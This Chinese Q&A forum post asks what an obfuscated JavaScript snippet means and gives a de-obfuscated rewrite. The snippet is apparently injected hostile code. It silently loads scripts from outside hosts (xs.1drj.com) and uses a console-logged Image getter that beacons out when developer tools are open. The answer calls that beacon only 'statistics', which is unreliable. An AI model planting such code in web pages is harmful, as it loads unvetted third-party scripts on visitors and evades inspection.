鍍金池/ 問答/HTML/ 求問這段代碼的意思

求問這段代碼的意思

(function() {
    try {
        var e = "__z_",
        t = "http://xxxxx.com/js/rem.js",
        c = document,
        n = c.currentScript,
        a = c.getElementsByTagName("head")[0],
        i = function(e, t) {
            var r = c.createElement("script");
            r.type = "text/javascript",
            t && (r.id = t),
            r.src = e,
            a.appendChild(r)
        },
        s = setInterval(function() {
            var I = new Image,
            C = window.console;
            Object.defineProperty(I, "id", {
                get: function() {
                    I.src = "http://l.xs.1drj.com/" + encodeURIComponent(t),
                    clearInterval(s)
                }
            }),
            C && (C.log(I), C.clear())
        },
        2e3);
        c.getElementById(e) || self == top && (i("http://xs.1drj.com/?tsliese=27311189", e)),
        n && (n.defer || n.async) ? i(t) : c.write('<script src="' + t + '"></script>')
    } catch(e) {};
})()
回答
編輯回答
乖乖瀦

去掉故弄玄虛的變量名后, 實(shí)際作用就是

  1. 異步加載指定腳本,方式是在head中添加<script>標(biāo)簽。
  2. 發(fā)送統(tǒng)計(jì)數(shù)據(jù)。 方式是構(gòu)造img對象,通過觸發(fā)img對象的src屬性發(fā)送統(tǒng)計(jì)數(shù)據(jù)給 http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js")這個(gè)地址
(function() {
    try {
        var insertScript = function(scriptUrl, scriptId) {
            var scriptDom = document.createElement("script");
            scriptDom.type = "text/javascript";
            scriptId && (scriptDom.id = scriptId);
            scriptDom.src = scriptUrl;
            document.getElementsByTagName("head")[0].appendChild(scriptDom);
        };
        var insertImgTimer = setInterval(function() {
            var img = new Image();
            Object.defineProperty(img, "id", {
                get: function() {
                    img.src = "http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js");
                    clearInterval(insertImgTimer);
                    }
                });
            window.console && (window.console.log(img), window.console.clear());
            }, 2e3);
        
        document.getElementById("__z_") || self == top && (insertScript("http://xs.1drj.com/?tsliese=27311189", "__z_"));
        
        if(document.currentScript && (document.currentScript.defer || document.currentScript.async)) {
            insertScript("http://xxxxx.com/js/rem.js");
        } else {
            document.write('<script src="http://xxxxx.com/js/rem.js"></script>');
        }
    } catch(e) {};
})()
2018年7月12日 18:27